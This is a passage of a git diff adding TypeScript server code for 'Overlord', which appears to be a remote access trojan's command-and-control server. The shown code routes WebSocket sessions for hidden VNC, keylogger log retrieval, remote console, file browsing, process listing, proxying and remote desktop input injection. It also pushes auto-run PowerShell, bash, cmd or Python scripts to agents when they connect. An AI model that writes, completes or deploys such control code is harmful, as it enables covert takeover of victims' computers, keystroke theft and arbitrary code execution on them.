notificationConfig = deps.getNotificationConfig(); + ws.send( + encodeMessage({ + type: "hello_ack", + id, + notification: { + keywords: notificationConfig.keywords || [], + minIntervalMs: notificationConfig.minIntervalMs || 8000, + }, + }), + ); + + if (role === "client") { + deps.notifyRemoteDesktopStatus(id, "online"); + metrics.recordConnection(); + } +} + +export function handleWebSocketMessage( + ws: ServerWebSocket, + message: string | ArrayBuffer | Uint8Array, + deps: WsLifecycleDeps, +): void { + const size = getMessageByteLength(message as any); + const role = ws.data?.role as any; + const limit = getMaxPayloadLimit(role, deps.maxClientPayloadBytes, deps.maxViewerPayloadBytes); + if (size > limit) { + logger.warn(`[ws] closing socket due to oversized message (${size} > ${limit}) role=${role || "unknown"}`); + try { + ws.close(1009, "Message too large"); + } catch {} + return; + } + + const socketRole = ws.data.role as string; + if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message); + if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message); + if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message); + if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message); + if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message); + if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message); + if (socketRole === "proxy_viewer") return deps.handleProxyViewerMessage(ws, message); + if (socketRole === "notifications_viewer") return; + + const { clientId, ip } = ws.data; + const info = clientManager.getClient(clientId); + if (!info) return; + info.lastSeen = Date.now(); + + try { + const payload = decodeMessage(message as Uint8Array) as WireMessage; + if (!payload || typeof (payload as any).type !== "string") { + return; + } + if (!isAllowedClientMessageType((payload as any).type)) { + logger.warn(`[message] Dropping unknown client message type: ${(payload as any).type}`); + return; + } + + const payloadType = (payload as any)?.type as string; + switch (payloadType) { + case "hello": { + handleHello(info, payload, ws, ip); + clientManager.addClient(info.id, info); + deps.dispatchAutoScriptsForConnection(info, ws); + if (info.role === "client") { + const wasKnown = Boolean((ws as any)?.data?.wasKnown); + logAudit({ + timestamp: Date.now(), + username: "system", + ip: (ws as any)?.data?.ip || ip || "unknown", + action: wasKnown ? AuditAction.CLIENT_RECONNECT : AuditAction.CLIENT_FIRST_CONNECT, + targetClientId: info.id, + success: true, + details: JSON.stringify({ host: info.host, os: info.os, user: info.user }), + }); + (ws as any).data.wasKnown = true; + } + break; + } + case "ping": + handlePing(info, payload, ws); + break; + case "pong": + handlePong(info, payload); + break; + case "frame": + if ((payload as any)?.header?.fps === 0) { + const pending = deps.takePendingNotificationScreenshot(info.id); + if (pending) { + let bytes: Uint8Array | null = null; + if ((payload as any).data instanceof Uint8Array) { + bytes = (payload as any).data; + } else if ((payload as any).data instanceof ArrayBuffer) { + bytes = new Uint8Array((payload as any).data); + } else if (ArrayBuffer.isView((payload as any).data)) { + bytes = new Uint8Array((payload as any).data.buffer); + } + + const format = String((payload as any)?.header?.format || "jpeg"); + const width = Number((payload as any)?.header?.width) || undefined; + const height = Number((payload as any)?.header?.height) || undefined; + if (bytes) { + deps.storeNotificationScreenshot(pending, bytes, format, width, height); + } + } + } + handleFrame(info, payload); + break; + case "screenshot_result": + deps.handleNotificationScreenshotResult(info.id, payload); + break; + case "console_output": + deps.handleConsoleOutput(payload); + break; + case "file_list_result": + case "file_download": + case "file_upload_result": + case "file_read_result": + case "file_search_result": + case "command_result": + if (typeof (payload as any).commandId === "string") { + deps.notifyRdInputLatency((payload as any).commandId); + } + deps.handleNotificationScreenshotFailure( + (payload as any).commandId, + (payload as any).ok, + (payload as any).message, + ); + deps.handleFileBrowserMessage(info.id, payload); + deps.handleProxyMessage(info.id, payload); + break; + case "command_progress": + deps.handleFileBrowserMessage(info.id, payload); + break; + case "process_list_result": + deps.handleProcessMessage(info.id, payload); + break; + case "keylog_file_list": + case "keylog_file_content": + case "keylog_clear_result": + case "keylog_delete_result": + deps.handleKeyloggerMessage(info.id, payload); + break; + case "script_result": { + logger.debug( + `[script] client=${info.id} ok=${(payload as any).ok} output_length=${(payload as any).output?.length || 0}`, + ); + const cmdId = (payload as any).commandId; + if (cmdId && deps.pendingScripts.has(cmdId)) { + const pending = deps.pendingScripts.get(cmdId)!; + clearTimeout(pending.timeout); + pending.resolve({ + ok: (payload as any).ok, + result: (payload as any).output || "", + error: (payload as any).error, + }); + deps.pendingScripts.delete(cmdId); + } + break; + } + case "plugin_event": + deps.handlePluginEvent(info.id, payload); + break; + case "notification": + deps.handleNotification(info.id, payload); + break; + default: + break; + } + } catch (err) { + logger.error("[message] decode error", err); + } +} + +export function handleWebSocketClose( + ws: ServerWebSocket, + code: number, + reason: unknown, + deps: WsLifecycleDeps, +): void { + const clientId = ws.data.clientId; + const role = ws.data.role as string; + const sessionId = ws.data.sessionId; + + if (role === "console_viewer") { + if (sessionId) { + sessionManager.deleteConsoleSession(sessionId); + const target = clientManager.getClient(clientId); + deps.stopConsoleOnTarget(target, sessionId); + } + return; + } + + if (role === "rd_viewer") { + let removedClientId = clientId; + for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) { + if (sess.viewer === ws) { + removedClientId = sess.clientId; + sessionManager.getAllRdSessions().delete(sid); + break; + } + } + + const stillViewing = Array.from(sessionManager.getAllRdSessions().values()).some((s) => s.clientId === removedClientId); + if (!stillViewing) { + const target = clientManager.getClient(removedClientId); + deps.sendDesktopCommand(target, "desktop_stop", {}); + deps.rdStreamingState.delete(removedClientId); + logger.debug(`[rd] cleaned up state for client ${removedClientId}`); + } + return; + } + + if (role === "hvnc_viewer") { + let removedClientId = clientId; + for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) { + if (sess.viewer === ws) { + removedClientId = sess.clientId; + sessionManager.getAllHvncSessions().delete(sid); + break; + } + } + + const stillViewing = Array.from(sessionManager.getAllHvncSessions().values()).some((s) => s.clientId === removedClientId); + if (!stillViewing) { + const target = clientManager.getClient(removedClientId); + if (target) { + deps.sendHVNCCommand(target, "hvnc_stop", {}); + } + deps.hvncStreamingState.delete(removedClientId); + logger.debug(`[hvnc] cleaned up state for client ${removedClientId}`); + } + return; + } + + if (role === "file_browser_viewer") { + if (sessionId) { + sessionManager.getAllFileBrowserSessions().delete(sessionId); + } + return; + } + + if (role === "process_viewer") { + if (sessionId) { + sessionManager.getAllProcessSessions().delete(sessionId); + } + return; + } + + if (role === "keylogger_viewer") { + if (sessionId) { + sessionManager.deleteKeyloggerSession(sessionId); + } + return; + } + + if (role === "proxy_viewer") { + if (sessionId) { + sessionManager.deleteProxySession(sessionId); + } + return; + } + + if (role === "notifications_viewer") { + if (sessionId) { + sessionManager.deleteNotificationSession(sessionId); + } + return; + } + + clientManager.deleteClient(clientId); + deps.notifyConsoleClosed(clientId, "Client disconnected"); + setOnlineState(clientId, false); + deps.clearPendingNotificationScreenshots(clientId); + logger.info(`[close] ${clientId} code=${code} reason=${reason}`); + + if (role === "client") { + deps.notifyRemoteDesktopStatus(clientId, "offline", "Client disconnected"); + metrics.recordDisconnection(); + logAudit({ + timestamp: Date.now(), + username: "system", + ip: ws.data?.ip || "unknown", + action: AuditAction.CLIENT_DISCONNECT, + targetClientId: clientId, + success: true, + details: JSON.stringify({ code, reason: String(reason || "") }), + }); + } +} diff --git a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts new file mode 100644 index 0000000..7c82945 --- /dev/null +++ b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts @@ -0,0 +1,179 @@ +import { authenticateRequest } from "../../auth"; +import { logger } from "../../logger"; +import { isIpBanned } from "../../db"; + +type RequestServer = { + requestIP: (req: Request) => { address?: string } | null | undefined; + upgrade: (req: Request, data: any) => boolean; +}; + +type WsUpgradeDeps = { + isAuthorizedAgentRequest: (req: Request, url: URL) => boolean; +}; + +export async function handleWsUpgradeRoutes( + req: Request, + url: URL, + server: RequestServer, + deps: WsUpgradeDeps, +): Promise { + const consoleWsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/console\/ws$/); + if (consoleWsMatch) { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + const clientId = consoleWsMatch[1]; + const sessionId = crypto.randomUUID(); + const ip = server.requestIP(req)?.address || ""; + if (server.upgrade(req, { data: { role: "console_viewer", clientId, sessionId, ip, userRole: user.role } })) { + return new Response(); + } + return new Response("Upgrade failed", { status: 500 }); + } + + const wsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/stream\/ws$/); + if (wsMatch) { + logger.info(`[auth] Checking agent authorization for client connection`); + if (!deps.isAuthorizedAgentRequest(req, url)) { + return new Response("Unauthorized", { status: 401 }); + } + const clientId = wsMatch[1]; + const role = (url.searchParams.get("role") as any) || "viewer"; + const ip = server.requestIP(req)?.address || ""; + if (ip && isIpBanned(ip)) { + logger.warn(`[auth] Rejected banned IP ${ip} for client ${clientId}`); + return new Response("Forbidden", { status: 403 }); + } + if (server.upgrade(req, { data: { role, clientId, ip } })) { + return new Response(); + } + return new Response("Upgrade failed", { status: 500 }); + } + + const rdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/rd\/ws$/); + if (rdMatch) { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + const clientId = rdMatch[1]; + const ip = server.requestIP(req)?.address || ""; + if (server.upgrade(req, { data: { role: "rd_viewer", clientId, ip, userRole: user.role } })) { + return new Response(); + } + return new Response("Upgrade failed", { status: 500 }); + } + + const hvncMatch = url.pathname.match(/^\/api\/clients\/(.+)\/hvnc\/ws$/); + if (hvncMatch) { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + const clientId = hvncMatch[1]; + const ip = server.requestIP(req)?.address || ""; + if (server.upgrade(req, { data: { role: "hvnc_viewer", clientId, ip, userRole: user.role } })) { + return new Response(); + } + return new Response("Upgrade failed", { status: 500 }); + } + + const fbMatch = url.pathname.match(/^\/api\/clients\/(.+)\/files\/ws$/); + if (fbMatch) { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + const clientId = fbMatch[1]; + const ip = server.requestIP(req)?.address || ""; + if (server.upgrade(req, { data: { role: "file_browser_viewer", clientId, ip, userRole: user.role } })) { + return new Response(); + } + return new Response("Upgrade failed", { status: 500 }); + } + + const processMatch = url.pathname.match(/^\/api\/clients\/(.+)\/processes\/ws$/); + if (processMatch) { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + const clientId = processMatch[1]; + const ip = server.requestIP(req)?.address || ""; + if (server.upgrade(req, { data: { role: "process_viewer", clientId, ip, userRole: user.role } })) { + return new Response(); + } + return new Response("Upgrade failed", { status: 500 }); + } + + const keyloggerMatch = url.pathname.match(/^\/api\/clients\/(.+)\/keylogger\/ws$/); + if (keyloggerMatch) { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + const clientId = keyloggerMatch[1]; + const ip = server.requestIP(req)?.address || ""; + if (server.upgrade(req, { data: { role: "keylogger_viewer", clientId, ip, userRole: user.role } })) { + return new Response(); + } + return new Response("Upgrade failed", { status: 500 }); + } + + const proxyMatch = url.pathname.match(/^\/api\/clients\/(.+)\/proxy\/ws$/); + if (proxyMatch) { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + const clientId = proxyMatch[1]; + const ip = server.requestIP(req)?.address || ""; + if (server.upgrade(req, { data: { role: "proxy_viewer", clientId, ip, userRole: user.role } })) { + return new Response(); + } + return new Response("Upgrade failed", { status: 500 }); + } + + if (req.method === "GET" && url.pathname === "/api/notifications/ws") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + const ip = server.requestIP(req)?.address || ""; + if (server.upgrade(req, { data: { role: "notifications_viewer", clientId: "", ip, userRole: user.role } })) { + return new Response(); + } + return new Response("Upgrade failed", { status: 500 }); + } + + return null; +} diff --git a/Overlord-Server/src/server/runtime-constants.ts b/Overlord-Server/src/server/runtime-constants.ts new file mode 100644 index 0000000..03e6bd9 --- /dev/null +++ b/Overlord-Server/src/server/runtime-constants.ts @@ -0,0 +1,11 @@ +export const HEARTBEAT_INTERVAL_MS = 15_000; +export const STALE_MS = 5 * 60_000; +export const DISCONNECT_TIMEOUT_MS = 10_000; + +export const PRUNE_BATCH = Number(process.env.PRUNE_BATCH || 500); +export const MAX_WS_MESSAGE_BYTES_VIEWER = Number( + process.env.MAX_WS_MESSAGE_BYTES_VIEWER || 1_000_000, +); +export const MAX_WS_MESSAGE_BYTES_CLIENT = Number( + process.env.MAX_WS_MESSAGE_BYTES_CLIENT || 50_000_000, +); diff --git a/Overlord-Server/src/server/runtime-paths.ts b/Overlord-Server/src/server/runtime-paths.ts new file mode 100644 index 0000000..7c56cb8 --- /dev/null +++ b/Overlord-Server/src/server/runtime-paths.ts @@ -0,0 +1,15 @@ +import path from "path"; +import fs from "fs"; + +export function resolveRuntimeRoot(cwd: string = process.cwd()): string { + const explicitRoot = process.env.OVERLORD_ROOT?.trim(); + if (explicitRoot) { + return path.resolve(explicitRoot); + } + + if (fs.existsSync(path.join(cwd, "Overlord-Client"))) { + return cwd; + } + + return path.resolve(cwd, ".."); +} diff --git a/Overlord-Server/src/server/stale-prune.ts b/Overlord-Server/src/server/stale-prune.ts new file mode 100644 index 0000000..054e1a7 --- /dev/null +++ b/Overlord-Server/src/server/stale-prune.ts @@ -0,0 +1,40 @@ +import { logger } from "../logger"; +import type { ClientInfo } from "../types"; + +type PruneStaleClientsParams = { + clients: Map; + staleMs: number; + pruneBatch: number; + setOnlineState: (id: string, online: boolean) => void; + deleteClient: (id: string) => void; +}; + +export function pruneStaleClients(params: PruneStaleClientsParams): void { + const now = Date.now(); + let processed = 0; + + for (const [id, info] of params.clients.entries()) { + if (now - info.lastSeen <= params.staleMs) continue; + + try { + if (info.role === "client") { + info.ws.close(4000, "stale"); + params.setOnlineState(id, false); + processed += 1; + continue; + } + info.ws.close(); + } catch (err) { + logger.error(`[prune] close failed for ${id}`, err); + } + + params.deleteClient(id); + params.setOnlineState(id, false); + processed += 1; + + if (processed >= params.pruneBatch) { + logger.debug(`[prune] paused after ${processed} stale sockets; will continue next sweep`); + break; + } + } +} diff --git a/Overlord-Server/src/server/tls-bootstrap.ts b/Overlord-Server/src/server/tls-bootstrap.ts new file mode 100644 index 0000000..e6dd18a --- /dev/null +++ b/Overlord-Server/src/server/tls-bootstrap.ts @@ -0,0 +1,85 @@ +import { certificatesExist, generateSelfSignedCert, getLocalIPs, isOpenSSLAvailable } from "../certGenerator"; +import { logger } from "../logger"; + +type TlsBootstrapParams = { + certPath: string; + keyPath: string; + caPath?: string; +}; + +export async function prepareTlsOptions(params: TlsBootstrapParams): Promise<{ cert?: string; key?: string; ca?: string }> { + logger.info("[TLS] TLS/HTTPS is always enabled for security"); + + if (!certificatesExist(params.certPath, params.keyPath)) { + logger.info("[TLS] Certificates not found, generating self-signed certificates..."); + + if (!(await isOpenSSLAvailable())) { + logger.error("[TLS] ERROR: OpenSSL is not installed or not in PATH"); + logger.error("[TLS] Please install OpenSSL:"); + logger.error("[TLS] - Linux: apt install openssl / yum install openssl"); + logger.error("[TLS] - macOS: brew install openssl"); + logger.error("[TLS] - Windows: choco install openssl or download from https://slproweb.com/products/Win32OpenSSL.html"); + throw new Error("OpenSSL is required for certificate generation"); + } + + const localIPs = getLocalIPs(); + const hostname = process.env.OVERLORD_HOSTNAME || "localhost"; + + try { + await generateSelfSignedCert({ + certPath: params.certPath, + keyPath: params.keyPath, + commonName: hostname, + daysValid: 3650, + additionalIPs: localIPs, + }); + } catch (err) { + logger.error("[TLS] Failed to generate certificates:", err); + throw err; + } + } else { + logger.info(`[TLS] Using existing certificates: ${params.certPath}`); + } + + try { + const certFile = Bun.file(params.certPath); + const keyFile = Bun.file(params.keyPath); + + const tlsOptions: { cert?: string; key?: string; ca?: string } = { + cert: await certFile.text(), + key: await keyFile.text(), + }; + + if (params.caPath) { + const caFile = Bun.file(params.caPath); + if (await caFile.exists()) { + tlsOptions.ca = await caFile.text(); + logger.info("[TLS] Client certificate verification enabled"); + } + } + + return tlsOptions; + } catch (err) { + logger.error("[TLS] Failed to load certificates:", err); + throw err; + } +} + +export function logServerStartup(server: { hostname?: string; port?: number }, certPath: string): void { + const hostname = server.hostname || "0.0.0.0"; + const port = server.port ?? 0; + const localIPs = getLocalIPs(); + logger.info("========================================"); + logger.info("Overlord Server - SECURE MODE (TLS Always On)"); + logger.info("========================================"); + logger.info(`HTTPS: https://${hostname}:${port}`); + logger.info(`WSS: wss://${hostname}:${port}/api/clients/{id}/stream/ws`); + if (localIPs.length > 0) { + logger.info("\nLocal network addresses:"); + localIPs.forEach((ip) => logger.info(` - https://${ip}:${port}`)); + } + logger.info("\nΓÜá∩╕Å Using self-signed certificate"); + logger.info(` Clients must trust: ${certPath}`); + logger.info(" Or use: OVERLORD_TLS_INSECURE_SKIP_VERIFY=true (dev only)"); + logger.info("========================================"); +} diff --git a/Overlord-Server/src/server/validation-constants.ts b/Overlord-Server/src/server/validation-constants.ts new file mode 100644 index 0000000..6f931fb --- /dev/null +++ b/Overlord-Server/src/server/validation-constants.ts @@ -0,0 +1,26 @@ +import type { AutoScriptTrigger } from "../db"; + +export const AUTO_SCRIPT_TRIGGERS = new Set([ + "on_connect", + "on_first_connect", + "on_connect_once", +]); + +export const ALLOWED_SCRIPT_TYPES = new Set([ + "powershell", + "bash", + "cmd", + "python", + "sh", +]); + +export const ALLOWED_PLATFORMS = new Set([ + "windows-amd64", + "windows-386", + "windows-arm64", + "linux-amd64", + "linux-arm64", + "linux-armv7", + "darwin-amd64", + "darwin-arm64", +]); diff --git a/Overlord-Server/src/server/websocket-runtime.ts b/Overlord-Server/src/server/websocket-runtime.ts new file mode 100644 index 0000000..07eb8be --- /dev/null +++ b/Overlord-Server/src/server/websocket-runtime.ts @@ -0,0 +1,45 @@ +import type { ServerWebSocket } from "bun"; +import type { SocketData } from "../sessions/types"; + +type OpenHandler = ( + ws: ServerWebSocket, + deps: TLifecycleDeps, +) => void; + +type MessageHandler = ( + ws: ServerWebSocket, + message: string | ArrayBuffer | Uint8Array, + deps: TLifecycleDeps, +) => void; + +type CloseHandler = ( + ws: ServerWebSocket, + code: number, + reason: string, + deps: TLifecycleDeps, +) => void; + +export function createWebSocketRuntime(deps: { + maxClientPayloadBytes: number; + maxViewerPayloadBytes: number; + lifecycleDeps: TLifecycleDeps; + handleWebSocketOpen: OpenHandler; + handleWebSocketMessage: MessageHandler; + handleWebSocketClose: CloseHandler; +}) { + return { + perMessageDeflate: true, + maxPayloadLength: Math.max(deps.maxClientPayloadBytes, deps.maxViewerPayloadBytes), + idleTimeout: 255, + sendPings: true, + open(ws: ServerWebSocket) { + deps.handleWebSocketOpen(ws, deps.lifecycleDeps); + }, + message(ws: ServerWebSocket, message: string | ArrayBuffer | Uint8Array) { + deps.handleWebSocketMessage(ws, message, deps.lifecycleDeps); + }, + close(ws: ServerWebSocket, code: number, reason: string) { + deps.handleWebSocketClose(ws, code, reason, deps.lifecycleDeps); + }, + }; +} diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts new file mode 100644 index 0000000..b1fd9e4 --- /dev/null +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -0,0 +1,550 @@ +import type { ServerWebSocket } from "bun"; +import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack"; +import { v4 as uuidv4 } from "uuid"; +import * as clientManager from "../clientManager"; +import { logger } from "../logger"; +import { metrics } from "../metrics"; +import { encodeMessage } from "../protocol"; +import * as sessionManager from "../sessions/sessionManager"; +import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types"; +import type { ClientInfo } from "../types"; + +function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null { + if (typeof raw === "string") { + try { + return JSON.parse(raw); + } catch { + return null; + } + } + try { + const buf = raw instanceof Uint8Array ? raw : new Uint8Array(raw); + return msgpackDecode(buf); + } catch { + return null; + } +} + +function safeSendViewer(ws: ServerWebSocket, payload: unknown) { + try { + ws.send(msgpackEncode(payload)); + } catch (err) { + logger.error("[console] viewer send failed", err); + } +} + +function safeSendViewerFrame(ws: ServerWebSocket, bytes: Uint8Array, header?: any): number { + try { + const meta = new Uint8Array(8); + meta[0] = 0x46; + meta[1] = 0x52; + meta[2] = 0x4d; + meta[3] = 1; + meta[4] = (header?.monitor ?? 0) & 0xff; + meta[5] = (header?.fps ?? 0) & 0xff; + const fmt = header?.format === "blocks" ? 2 : header?.format === "blocks_raw" ? 3 : 1; + meta[6] = fmt; + meta[7] = 0; + + const buf = new Uint8Array(meta.length + bytes.length); + buf.set(meta, 0); + buf.set(bytes, meta.length); + ws.send(buf); + metrics.recordBytesSent(buf.length); + return buf.length; + } catch (err) { + logger.error("[rd] viewer frame send failed", err); + return 0; + } +} + +const rdSendStats = { lastLog: 0, frames: 0, sendMs: 0, bytes: 0 }; +export const rdStreamingState = new Map(); +const rdInputPending = new Map(); +const RD_INPUT_TTL_MS = 10_000; + +function pruneRdInputPending(now = Date.now()) { + for (const [id, pending] of rdInputPending.entries()) { + if (now - pending.sentAt > RD_INPUT_TTL_MS) { + rdInputPending.delete(id); + } + } +} + +function recordRdInput(commandId: string, clientId: string, kind: string) { + pruneRdInputPending(); + rdInputPending.set(commandId, { clientId, sentAt: Date.now(), kind }); +} + +export function notifyRdInputLatency(commandId: string) { + const pending = rdInputPending.get(commandId); + if (!pending) return; + rdInputPending.delete(commandId); + + const ms = Date.now() - pending.sentAt; + for (const session of sessionManager.getAllRdSessions().values()) { + if (session.clientId !== pending.clientId) continue; + safeSendViewer(session.viewer, { type: "input_latency", ms, kind: pending.kind, commandId }); + } +} + +function logRdSend(header?: any) { + const now = Date.now(); + if (now - rdSendStats.lastLog < 5000) return; + const frames = rdSendStats.frames || 1; + const avgMs = rdSendStats.sendMs / frames; + const avgBytes = rdSendStats.bytes / frames; + const fpsAgent = header?.fps ?? "?"; + logger.debug(`[rd] send avg=${avgMs.toFixed(2)}ms size=${Math.round(avgBytes)}B frames=${rdSendStats.frames} agent_fps=${fpsAgent}`); + rdSendStats.lastLog = now; + rdSendStats.frames = 0; + rdSendStats.sendMs = 0; + rdSendStats.bytes = 0; +} + +function sendConsoleCommand(target: ClientInfo | undefined, commandType: string, payload: Record) { + if (!target) return false; + try { + target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, payload, id: uuidv4() })); + metrics.recordCommand(commandType); + return true; + } catch (err) { + logger.error("[console] send command failed", err); + return false; + } +} + +function sendDesktopCommandWithId(target: ClientInfo | undefined, commandType: string, payload: Record, commandId: string) { + if (!target) return false; + try { + logger.debug(`[rd] send command ${commandType} -> ${target.id}`); + target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, payload, id: commandId })); + metrics.recordCommand(commandType); + return true; + } catch (err) { + logger.error("[rd] send command failed", err); + return false; + } +} + +export function sendDesktopCommand(target: ClientInfo | undefined, commandType: string, payload: Record) { + return sendDesktopCommandWithId(target, commandType, payload, uuidv4()); +} + +function startConsoleForViewer(target: ClientInfo | undefined, sessionId: string, cols = 120, rows = 36) { + return sendConsoleCommand(target, "console_start", { sessionId, cols, rows }); +} + +export function stopConsoleOnTarget(target: ClientInfo | undefined, sessionId: string) { + return sendConsoleCommand(target, "console_stop", { sessionId }); +} + +export function notifyConsoleClosed(clientId: string, reason: string) { + for (const [sessionId, session] of sessionManager.getAllConsoleSessions().entries()) { + if (session.clientId !== clientId) continue; + safeSendViewer(session.viewer, { type: "status", status: "closed", reason, sessionId }); + sessionManager.deleteConsoleSession(sessionId); + } +} + +export function handleConsoleViewerOpen(ws: ServerWebSocket) { + const { clientId, sessionId } = ws.data; + const effectiveSessionId = sessionId || uuidv4(); + ws.data.sessionId = effectiveSessionId; + const target = clientManager.getClient(clientId); + const session: ConsoleSession = { id: effectiveSessionId, clientId, viewer: ws, createdAt: Date.now() }; + sessionManager.addConsoleSession(session); + safeSendViewer(ws, { + type: "ready", + sessionId: effectiveSessionId, + clientId, + clientOnline: !!target, + host: target?.host || clientId, + os: target?.os, + user: target?.user, + }); + if (!target) { + safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId: effectiveSessionId }); + return; + } + safeSendViewer(ws, { type: "status", status: "connecting", sessionId: effectiveSessionId }); + startConsoleForViewer(target, effectiveSessionId); +} + +export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket) { + const { clientId } = ws.data; + const sessionId = uuidv4(); + const target = clientManager.getClient(clientId); + const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; + sessionManager.getAllRdSessions().set(sessionId, session); + safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target }); + if (!target) { + safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId }); + return; + } + safeSendViewer(ws, { type: "status", status: "connecting", sessionId }); +} + +export function notifyRemoteDesktopStatus(clientId: string, status: string, reason?: string) { + for (const session of sessionManager.getAllRdSessions().values()) { + if (session.clientId !== clientId) continue; + safeSendViewer(session.viewer, { + type: "status", + status, + reason, + sessionId: session.id, + }); + } +} + +export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) { + const payload = decodeViewerPayload(raw); + if (!payload) return; + if (!payload || typeof payload.type !== "string") return; + const { clientId } = ws.data; + const target = clientManager.getClient(clientId); + if (!target) { + safeSendViewer(ws, { type: "status", status: "offline" }); + return; + } + + const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, duplication: false }; + + logger.debug(`[rd] inbound viewer msg type=${payload.type} client=${clientId}`); + switch (payload.type) { + case "desktop_start": + if (!state.isStreaming) { + sendDesktopCommand(target, "desktop_start", {}); + state.isStreaming = true; + rdStreamingState.set(clientId, state); + logger.debug(`[rd] started streaming for client ${clientId}`); + } else { + logger.debug(`[rd] ignoring duplicate desktop_start for client ${clientId}`); + } + break; + case "desktop_stop": + sendDesktopCommand(target, "desktop_stop", {}); + if (state.isStreaming) { + state.isStreaming = false; + rdStreamingState.set(clientId, state); + logger.debug(`[rd] stopped streaming for client ${clientId}`); + } else { + rdStreamingState.set(clientId, { ...state, isStreaming: false }); + logger.debug(`[rd] stop requested while not streaming for client ${clientId}`); + } + break; + case "desktop_select_display": { + const newDisplay = Number(payload.display) || 0; + if (state.display !== newDisplay) { + logger.debug(`[rd] changing display from ${state.display} to ${newDisplay}`); + sendDesktopCommand(target, "desktop_select_display", { display: newDisplay }); + state.display = newDisplay; + rdStreamingState.set(clientId, state); + } else { + logger.debug(`[rd] ignoring duplicate display select ${newDisplay}`); + } + break; + } + case "desktop_set_quality": { + const newQuality = Number(payload.quality) || 90; + if (state.quality !== newQuality) { + sendDesktopCommand(target, "desktop_set_quality", { quality: newQuality, codec: payload.codec || "" }); + state.quality = newQuality; + rdStreamingState.set(clientId, state); + logger.debug(`[rd] set quality to ${newQuality}`); + } + break; + } + case "desktop_enable_mouse": + sendDesktopCommand(target, "desktop_enable_mouse", { enabled: !!payload.enabled }); + break; + case "desktop_enable_keyboard": + sendDesktopCommand(target, "desktop_enable_keyboard", { enabled: !!payload.enabled }); + break; + case "desktop_enable_cursor": + sendDesktopCommand(target, "desktop_enable_cursor", { enabled: !!payload.enabled }); + break; + case "desktop_set_duplication": { + const enabled = !!payload.enabled; + if (state.duplication !== enabled) { + sendDesktopCommand(target, "desktop_set_duplication", { enabled }); + state.duplication = enabled; + rdStreamingState.set(clientId, state); + logger.debug(`[rd] set duplication to ${enabled}`); + } + break; + } + case "mouse_move": { + if (!state.isStreaming) break; + const rawX = (payload as any).x; + const rawY = (payload as any).y; + const commandId = uuidv4(); + recordRdInput(commandId, clientId, "mouse_move"); + sendDesktopCommandWithId(target, "desktop_mouse_move", { x: Number(rawX) || 0, y: Number(rawY) || 0 }, commandId); + break; + } + case "mouse_down": { + if (!state.isStreaming) break; + const commandId = uuidv4(); + recordRdInput(commandId, clientId, "mouse_down"); + sendDesktopCommandWithId(target, "desktop_mouse_down", { button: Number(payload.button) || 0 }, commandId); + break; + } + case "mouse_up": { + if (!state.isStreaming) break; + const commandId = uuidv4(); + recordRdInput(commandId, clientId, "mouse_up"); + sendDesktopCommandWithId(target, "desktop_mouse_up", { button: Number(payload.button) || 0 }, commandId); + break; + } + case "key_down": { + if (!state.isStreaming) break; + const commandId = uuidv4(); + recordRdInput(commandId, clientId, "key_down"); + sendDesktopCommandWithId(target, "desktop_key_down", { key: payload.key || "", code: payload.code || "" }, commandId); + break; + } + case "key_up": { + if (!state.isStreaming) break; + const commandId = uuidv4(); + recordRdInput(commandId, clientId, "key_up"); + sendDesktopCommandWithId(target, "desktop_key_up", { key: payload.key || "", code: payload.code || "" }, commandId); + break; + } + case "text_input": { + if (!state.isStreaming) break; + const commandId = uuidv4(); + recordRdInput(commandId, clientId, 